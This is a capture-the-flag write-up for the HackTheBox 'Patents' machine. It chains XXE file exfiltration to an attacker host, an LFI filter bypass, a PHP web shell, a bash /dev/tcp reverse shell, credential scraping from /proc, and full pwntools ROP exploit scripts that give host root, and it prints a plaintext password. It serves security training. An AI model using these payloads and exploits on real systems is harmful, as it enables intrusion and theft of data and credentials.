HTB: Patents Writeup

Patents - HackTheBox Writeup

Machine Information

AttributeDetails
NamePatents
OSLinux
DifficultyHard
Points40
Release Date14 May 2020
IP Address10.129.44.96
Authorgbyolo

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Patents is a hard-difficulty Linux machine that features a document conversion web application vulnerable to XML External Entity (XXE) injection through crafted Word documents. The XXE vulnerability is leveraged to exfiltrate PHP source code, revealing local file inclusion (LFI) vulnerabilities. By combining LFI with predictable upload file naming, remote code execution is achieved as www-data inside a Docker container. Lateral movement to container root is accomplished by discovering hardcoded credentials in a cron job’s environment variables through /proc filesystem enumeration. Finally, privilege escalation to host root requires recovering a deleted binary from a Git repository, reverse engineering it to identify a buffer overflow vulnerability in a custom LFM protocol server, and developing a ROP-based exploit to achieve arbitrary code execution.

TL;DR: XXE in DOCX upload → PHP filter exfiltration → LFI + upload hash prediction → RCE as www-data (container) → /proc cron enumeration → container root via su → Git repo recovery → buffer overflow analysis → ROP exploit → host root shell.


Reconnaissance

Port Scanning

Terminal window
# Initial TCP scan
nmap -sC -sV -T4 -p- 10.129.44.96

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8888/tcp open sun-answerbook?

Three ports are exposed:

  • 22/SSH - OpenSSH 7.7p1 (no obvious exploit vector)
  • 80/HTTP - Apache 2.4.29 hosting a document conversion service
  • 8888 - Custom service (identified later as lfmserver using a proprietary LFM protocol)

Service Enumeration

HTTP (Port 80)

The web application presents “MEOW Inc.” branding with a document upload feature for converting DOCX files to PDF format.

Terminal window
# Directory enumeration
gobuster dir -u http://10.129.44.96 -w /usr/share/wordlists/dirb/common.txt -x php,txt

Key findings:

  • /convert.php - File conversion handler
  • /config.php - Configuration file
  • /uploads/ - Upload directory
  • /release/UpdateDetails - Changelog file

The /release/UpdateDetails changelog reveals critical information:

Docx2Pdf App is ready and functional
Supports parsing of entities in the custom folder
LFI and Directory traversal vulnerabilities fixed in v1.0
Fixes reverted in v1.1 (current version)

This changelog confirms:

  1. XXE potential - “entities in the custom folder” suggests XML entity parsing in DOCX files
  2. LFI vulnerability - Directory traversal fixes were intentionally reverted, indicating an exploitable LFI

Port 8888

Terminal window
# Service identification attempt
nc 10.129.44.96 8888

The service uses a custom “LFM” (likely “Local File Management”) protocol with HTTP-like request/response structure. Full analysis deferred until container access is obtained.

Vulnerability Assessment

  1. XXE Injection - DOCX files are ZIP archives containing XML schemas; custom XML entities may be parsed server-side
  2. Local File Inclusion - Changelog explicitly states LFI/directory traversal protections were removed
  3. Predictable File Upload - Standard upload mechanisms may use predictable naming schemes
  4. Custom Binary Service - Port 8888 runs a non-standard service, potential for memory corruption vulnerabilities

Initial Foothold

Stage 1: Out-of-Band XXE via DOCX Upload

Microsoft Word DOCX files are ZIP archives containing XML documents. The customXml/ folder within a DOCX archive allows arbitrary XML content, which the server may parse, creating an XXE attack surface.

Testing for XXE

Terminal window
# Create a base DOCX file (using Google Docs or MS Word)
# Extract the archive
unzip test.docx -d docx_extracted/
cd docx_extracted/
# Create customXml directory if it doesn't exist
mkdir -p customXml
# Create malicious XML entity referencing external DTD
cat > customXml/item1.xml << 'EOF'
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://10.10.14.X/test">
%xxe;
]>
EOF
# Repackage as DOCX
zip -r evil.docx *
Terminal window
# Start HTTP server to catch callback
python3 -m http.server 80

Upload evil.docx through the web interface. The HTTP server receives a request for /test, confirming out-of-band XXE.

Data Exfiltration via XXE

To exfiltrate file contents, use a parameterized external DTD:

Terminal window
# Create DTD for data exfiltration (serve from attacker machine)
cat > read.dtd << 'EOF'
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % read "<!ENTITY &#x25; exfil SYSTEM 'http://10.10.14.X/exfil?%file;'>">
EOF
<!-- Modified customXml/item1.xml -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://10.10.14.X/read.dtd">
%xxe;
%read;
]>
<foo>&exfil;</foo>

The exfiltration chain works as follows:

  1. item1.xml loads the external read.dtd
  2. The DTD defines %file entity using php://filter wrapper to base64-encode target file
  3. %read entity embeds %file into an HTTP URL
  4. &exfil; entity reference triggers the HTTP request containing encoded data
Terminal window
# Receive base64-encoded /etc/passwd
# GET /exfil?cm9vdDp4OjA6MDpyb... HTTP/1.0
# Decode
echo "cm9vdDp4OjA6MDpyb..." | base64 -d

Result: /etc/passwd confirms user gbyolo:x:1000:1000.

Finding the Web Root

Standard Apache path /var/www/html/config.php fails to return data, suggesting non-standard document root.

Terminal window
# Exfiltrate Apache config
# Modify read.dtd to target:
# php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf

Apache config reveals:

DocumentRoot /var/www/html/docx2pdf

Source Code Exfiltration

/var/www/html/docx2pdf/config.php
# Modify read.dtd accordingly

Decoded config.php:

<?php
# needed by convert.php
$uploadir = 'letsgo/';
# needed by getPatent.php
# gbyolo: I moved getPatent.php to getPatent_alphav1.0.php because it's vulnerable
define('PATENTS_DIR', '/patents/');
?>

Key findings:

  • Uploads stored in letsgo/ directory
  • Vulnerable script: getPatent_alphav1.0.php

The convert.php file is large and cannot be exfiltrated directly (URL length limits). Using zlib.deflate compression:

Terminal window
# Modified DTD for large files
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/docx2pdf/convert.php">

Analyzed convert.php reveals:

// Upload naming scheme
$uploadPath = 'uploads/' . hash('sha256', basename($_FILES['file']['name']) . time()) . '.docx';

Files are stored as: uploads/<sha256(basename + timestamp)>.docx

The time() function returns the current Unix timestamp, which can be predicted by reading the HTTP Date header from the server’s response.

Stage 2: LFI to RCE

Identifying the LFI Vector

Terminal window
# Access the vulnerable script
curl "http://10.129.44.96/getPatent_alphav1.0.php?id=1"

Returns a patent file. Testing for LFI:

Terminal window
# Simple traversal fails (filtered)
curl "http://10.129.44.96/getPatent_alphav1.0.php?id=../../../etc/passwd"
# Filter bypass using ....// (nested traversal)
curl "http://10.129.44.96/getPatent_alphav1.0.php?id=....//....//....//etc/passwd"

Success - /etc/passwd is displayed. The ....// bypass defeats simple string replacement filters that convert ../ to empty string, leaving ../ after processing.

Log Poisoning Consideration

Attempted log poisoning via Apache access.log fails:

Terminal window
# Poison User-Agent
curl -A '<?php system($_GET["cmd"]); ?>' http://10.129.44.96/

Problem: Apache escapes double quotes in logged User-Agent strings, resulting in:

<?php system(\$_GET[\"cmd\"]); ?>

This creates a PHP parse error that permanently corrupts access.log, making it unusable for inclusion.

Alternative vectors like /proc/self/environ are not readable by www-data.

RCE via Predictable Upload Hash

Instead of log poisoning, exploit the predictable upload filename:

Terminal window
# Create a PHP backdoor
cat > shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
# Rename to trigger upload (the actual upload expects DOCX)
# But we can upload a raw PHP file by manipulating the upload directly
# Upload via multipart form
curl -X POST -F "file=@shell.php" http://10.129.44.96/convert.php
# Note the Date header from response
# Date: Tue, 21 Nov 2023 15:23:45 GMT
# Convert to Unix timestamp: 1700580225
# Calculate expected hash
import hashlib
import time
# Use timestamp from Date header (or current time during upload window)
basename = "shell.php"
timestamp = 1700580225 # Adjust based on Date header
for t in range(timestamp - 2, timestamp + 3): # 5-second window
predicted_hash = hashlib.sha256(f"{basename}{t}".encode()).hexdigest()
print(f"Time {t}: uploads/{predicted_hash}.php")
Terminal window
# Include uploaded file via LFI
curl "http://10.129.44.96/getPatent_alphav1.0.php?id=....//uploads/<calculated_hash>.php&cmd=id"

Result: Command execution as www-data.

Reverse Shell

Terminal window
# URL-encode reverse shell payload
# Bash reverse shell
bash -c 'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'
# Execute via LFI
curl "http://10.129.44.96/getPatent_alphav1.0.php?id=....//uploads/<hash>.php&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.X%2F4444%200%3E%261%27"
Terminal window
# Listener
nc -lvnp 4444

Shell obtained as www-data inside a Docker container (evident from .dockerenv in root directory).


Privilege Escalation

Stage 1: Container www-data → Container Root

Process Monitoring

Terminal window
# Check for cron jobs
ps aux | grep cron

A root cron job is active. To monitor all processes:

Terminal window
# Download pspy64 (process monitoring without root)
# On attacker machine:
python3 -m http.server 8000
# On target:
cd /tmp
curl -O http://10.10.14.X:8000/pspy64
chmod +x pspy64
./pspy64

Alternative: Manual /proc Enumeration

The agent used a Python script to scan /proc/[pid]/environ:

#!/usr/bin/env python3
import os
import time
seen_pids = set()
while True:
for pid in os.listdir('/proc'):
if not pid.isdigit():
continue
if pid in seen_pids:
continue
try:
with open(f'/proc/{pid}/environ', 'r') as f:
env = f.read()
if 'PASSWORD' in env or 'PASS' in env:
print(f"[+] PID {pid} environ:")
print(env.replace('\x00', '\n'))
print("-" * 60)
seen_pids.add(pid)
except:
pass
time.sleep(0.1)

Output captures cron’s inline environment:

[+] PID XXXX environ:
SHELL=/bin/bash
PASSWORD=!gby0l0r0ck$$!
...
CMD=/opt/checker_client/run_file.sh

The password !gby0l0r0ck$$! is exposed in the cron process environment.

Lateral Movement to Container Root

Terminal window
# Upgrade to PTY for su
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Use discovered password
su root
# Password: !gby0l0r0ck$$!

Access granted - now root inside the container.

Stage 2: Container Root → Host Root

Enumeration of /opt

Terminal window
# Inspect cron scripts
cat /opt/checker_client/run_file.sh
#!/bin/bash
FOLDER=/var/www/html/docx2pdf
FILE=/var/www/html/docx2pdf/convert.php
NEWFILE=$(python checker.py 10.100.0.1:8888 lfmserver_user PASSWORD $FILE)
# ... file integrity checking and restoration logic

The script communicates with 10.100.0.1:8888 (the host machine) using a custom LFM protocol via checker.py.

Terminal window
cat /opt/checker_client/checker.py
# Key sections:
INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
# Sends file hash to lfmserver
# If corrupted, sends: GET /{} LFM

The LFM protocol uses HTTP-like syntax with custom verbs (CHECK, GET).

Git Repository Discovery

Terminal window
ls -la /usr/src/
# drwxr-xr-x 3 root root 4096 /usr/src/lfm
cd /usr/src/lfm
ls -la
# .git directory present
Terminal window
# View commit history
git log --oneline
7c66092 Removed meow files. THIS REPOSITORY IS ON SVN
a900ccf Added last executable and README
...

The lfmserver binary was deleted in the most recent commit.

Terminal window
# Restore deleted binary from previous commit
git show HEAD~1:lfmserver > /tmp/lfmserver
chmod +x /tmp/lfmserver
# Also recover README
git show HEAD~1:README

README contents:

lfmserver' dynamic libraries:
...
NB: lfmserver was compiled against:
- libc6: 2.28-0ubuntu1
- libssl1.1: 1.1.1-1ubuntu2.1

This version information is critical for ROP gadget compatibility.

Terminal window
# Transfer binary to attacker machine for analysis
# On container:
cat /tmp/lfmserver | base64
# On attacker:
echo "<base64>" | base64 -d > lfmserver
chmod +x lfmserver

Binary Analysis

Terminal window
# Check protections
checksec lfmserver
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Key findings:

  • NX enabled - Cannot execute shellcode on stack; requires ROP
  • No PIE - Binary loaded at fixed address (0x400000), simplifies gadget addressing
  • No canary - Stack buffer overflow can directly overwrite return address
  • Partial RELRO - GOT entries can be read (useful for leaking libc addresses)

Reverse Engineering with Ghidra

Terminal window
# Open in Ghidra
ghidra lfmserver

Key function analysis:

  1. Authentication Check - Hardcoded credentials:

    • Username: lfmserver_user
    • Password: !gby0l0r0ck$$!
  2. URL Decode Function (FUN_00402db9):

    void url_decode(char *path, char *buf_128, int path_len) {
    // Decodes %XX sequences
    // VULNERABILITY: No bounds checking on buf_128 (128 bytes)
    // Input can exceed buffer size
    }
  3. Request Handler:

    // Checks if requested file exists
    // If file exists and MD5 matches, returns "LFM 200 OK"
    // EXPLOITATION: Append null byte after filename to pass existence check
    // while allowing overflow payload after null byte

Buffer Overflow Details:

  • Offset to RIP: 148 bytes (determined via pattern matching)
  • Attack vector: URL-encoded payload in file path of CHECK request
  • Bypass: Request existing file (convert.php) followed by %00 (null byte), then overflow payload
    • Null byte terminates string for stat() call (file existence check)
    • Overflow data after null byte overwrites stack return address

Exploit Development

Exploit Requirements:

  1. Libc leak - Required to defeat ASLR (libc base randomized)
  2. ROP chain - NX prevents shellcode execution
  3. File descriptor handling - Shell must use client socket (fd 6) for stdin/stdout
Terminal window
# Download matching libc for local testing
# Ubuntu 18.04 libc 2.28-0ubuntu1
wget http://launchpadlibrarian.net/365857916/libc6_2.28-0ubuntu1_amd64.deb
ar x libc6_2.28-0ubuntu1_amd64.deb
tar xf data.tar.xz
cp ./lib/x86_64-linux-gnu/libc-2.28.so ./libc.so.6

Stage 1: Libc Leak via write() GOT

#!/usr/bin/env python3
from pwn import *
from urllib.parse import quote
context.arch = 'amd64'
# Gadgets (no PIE, addresses are fixed)
pop_rdi = p64(0x0000000000405c4b) # pop rdi; ret;
pop_rsi_r15 = p64(0x0000000000405c49) # pop rsi; pop r15; ret;
# Load binary to get PLT/GOT addresses
e = ELF("./lfmserver", checksec=False)
write_plt = p64(e.plt['write'])
socket_got = p64(e.got['socket'])
# ROP chain: write(6, socket@GOT, 0x23)
# fd 6 = client socket (from process inspection)
# 0x23 bytes = RDX value at crash (sufficient for address leak)
payload = b"A" * 148
payload += pop_rdi + p64(0x6) # fd = 6
payload += pop_rsi_r15 + socket_got + b"B"*8 # buf = socket@GOT, junk for r15
payload += write_plt
# URL encode (required by server's URL decode function)
payload_encoded = quote(payload)
# Get MD5 of convert.php from container
md5_hash = "<redacted>" # Empty file for testing
# LFM protocol request
# Null byte after convert.php allows overflow while passing file check
req = f"CHECK /convert.php%00{payload_encoded} LFM\r\n"
req += f"User=lfmserver_user\r\n"
req += f"Password=!gby0l0r0ck$$!\r\n\r\n"
req += f"{md5_hash}\n"
# Connect to lfmserver
r = remote("10.129.44.96", 8888)
r.send(req.encode())
# Receive response
r.recvlines(4) # Skip protocol response headers
r.recv(1) # Skip newline
socket_libc = u64(r.recv(8))
log.success(f"Leaked socket@libc: {hex(socket_libc)}")
r.close()

Stage 2: ROP to Shell

#!/usr/bin/env python3
from pwn import *
from urllib.parse import quote
context.arch = 'amd64'
# Gadgets
pop_rdi = p64(0x0000000000405c4b)
pop_rsi_r15 = p64(0x0000000000405c49)
# Binaries
e = ELF("./lfmserver", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
# --- Stage 1: Leak socket@libc ---
write_plt = p64(e.plt['write'])
socket_got = p64(e.got['socket'])
payload = b"A" * 148
payload += pop_rdi + p64(0x6)
payload += pop_rsi_r15 + socket_got + b"B"*8
payload += write_plt
payload_encoded = quote(payload)
md5_hash = "<redacted>" # Actual convert.php MD5
req = f"CHECK /convert.php%00{payload_encoded} LFM\r\n"
req += f"User=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{md5_hash}\n"
r = remote("10.129.44.96", 8888)
r.send(req.encode())
r.recvlines(4)
r.recv(1)
socket_libc = u64(r.recv(8))
log.success(f"Leaked socket@libc: {hex(socket_libc)}")
r.close()
# Calculate libc base
libc.address = socket_libc - libc.symbols['socket']
log.info(f"Libc base: {hex(libc.address)}")
# Find execvp and /bin/sh
execvp_addr = libc.symbols['execvp']
binsh_addr = next(libc.search(b"/bin/sh\x00"))
dup2_plt = e.plt['dup2']
log.info(f"execvp: {hex(execvp_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")
# --- Stage 2: ROP to shell ---
# dup2(6, 0) - stdin
# dup2(6, 1) - stdout
# execvp("/bin/sh", NULL)
payload2 = b"A" * 148
# Duplicate socket fd to stdin (fd 0)
payload2 += pop_rdi + p64(0x6)
payload2 += pop_rsi_r15 + p64(0x0) + b"C"*8
payload2 += p64(dup2_plt)
# Duplicate socket fd to stdout (fd 1)
payload2 += pop_rdi + p64(0x6)
payload2 += pop_rsi_r15 + p64(0x1) + b"D"*8
payload2 += p64(dup2_plt)
# execvp("/bin/sh", NULL)
payload2 += pop_rdi + p64(binsh_addr)
payload2 += pop_rsi_r15 + p64(0x0) + b"E"*8
payload2 += p64(execvp_addr)
payload2_encoded = quote(payload2)
req2 = f"CHECK /convert.php%00{payload2_encoded} LFM\r\n"
req2 += f"User=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{md5_hash}\n"
# New connection for shell
r = remote("10.129.44.96", 8888)
r.send(req2.encode())
r.interactive()

Execution:

Terminal window
python3 exploit.py
[+] Leaked socket@libc: 0x7fXXXXXXXXXX
[*] Libc base: 0x7fXXXXXXXXXX
[*] execvp: 0x7fXXXXXXXXXX
[*] /bin/sh: 0x7fXXXXXXXXXX
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /root/root.txt
<redacted>

Root shell obtained on host machine via buffer overflow ROP exploit.


Attack Chain Summary

XXE in DOCX upload (customXml/item1.xml → external DTD)
PHP source exfiltration via php://filter (config.php, convert.php)
Predictable upload hash discovery (SHA256 of basename + timestamp)
LFI in getPatent_alphav1.0.php (....// filter bypass)
RCE as www-data via uploaded PHP file inclusion
/proc/[pid]/environ enumeration → root cron password (!gby0l0r0ck$$!)
Lateral movement: su to container root
Git repository analysis → recover deleted lfmserver binary
Reverse engineering → buffer overflow in URL decode (offset 148, no canary/PIE)
ROP exploit development (write() leak → dup2() + execvp() chain)
Host root shell via LFM protocol buffer overflow

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gobusterWeb directory/file discovery
curlHTTP request manipulation and file exfiltration
python3XXE payload crafting, exploit development
gitRepository analysis and file recovery
ghidraBinary reverse engineering
pwntoolsROP chain construction and exploit delivery
checksecBinary protection enumeration
base64Encoding/decoding exfiltrated data
Custom Python scanner/proc filesystem enumeration for credential discovery

Key Learnings

Techniques Practiced

  • Out-of-Band XXE Exploitation - Using external DTD to exfiltrate files via HTTP callbacks
  • PHP Filter Chaining - Combining php://filter wrappers (base64, zlib.deflate) to bypass size restrictions
  • LFI Filter Bypass - Nested path traversal (....//) to defeat string replacement filters
  • Predictable Hash Exploitation - Using HTTP Date headers to predict time()-based upload filenames
  • Process Environment Enumeration - Scanning /proc/[pid]/environ to capture ephemeral credential exposure
  • Git Repository Forensics - Recovering deleted files via commit history
  • ROP Exploit Development - Multi-stage ROP chain with libc leak via GOT, followed by dup2() fd manipulation and execvp() shell spawn
  • Custom Protocol Analysis - Reverse engineering proprietary LFM protocol for exploit delivery

Lessons Learned

  1. DOCX files are ZIP archives containing XML - Any application processing DOCX that parses custom XML is potentially vulnerable to XXE. The customXml/ folder provides an attacker-controlled injection point that may be overlooked in security reviews.

  2. PHP filters are powerful exfiltration tools - The php://filter wrapper with chaining (convert.base64-encode, zlib.deflate) allows reading arbitrary files even when direct inclusion fails or output is truncated. Essential technique for XXE-to-LFI chains.

  3. Log poisoning has failure modes - Apache’s quote escaping can permanently corrupt access.log with PHP syntax errors. Always have alternative RCE vectors (e.g., session files, upload inclusions) rather than relying solely on log poisoning.

  4. Timestamp prediction is viable over HTTP - The Date header provides server time accurate to the second. For time()-based randomness, testing a 5-10 second window around the Date header often succeeds. Combined with predictable hash algorithms (SHA256 of known string + time), uploaded files become locatable.

  5. Cron jobs leak secrets via /proc - Even without pspy, scanning /proc/[pid]/environ during a cron’s execution window can capture inline environment variables (e.g., PASSWORD=... in bash -c commands). This technique works when process listing tools are unavailable.

  6. Git repositories persist deleted files - Developers often mistakenly believe git rm removes sensitive files. All commit history remains in .git/objects/. Always inspect git log and use git show to recover deleted binaries, credentials, or source code.

  7. Buffer overflow offset finding is critical - Using pattern generation (pattern create in GEF/pwndbg) provides exact offset to saved RIP. Off-by-one errors in offset calculation will cause crashes instead of control flow hijacking.

  8. NX requires information leaks - With NX enabled, shellcode execution is impossible. The exploit must:

    • Leak a libc address via GOT (using write(), puts(), or similar)
    • Calculate libc base to locate gadgets (/bin/sh, execvp, system)
    • Chain ROP gadgets to call libc functions
  9. File descriptor duplication is essential for remote shells - When exploiting network services, stdin/stdout default to server-side fds (0/1). Using dup2(socket_fd, 0) and dup2(socket_fd, 1) redirects shell I/O to the attacker’s connection. Without this, shells will spawn but be unusable.

  10. Null byte injection bypasses string operations - Appending %00 after a valid filename allows: (a) stat() to succeed (checks up to null), (b) overflow payload to execute (processed after null). Classic technique combining filter bypass with exploitation.

  11. **Partial RELRO exp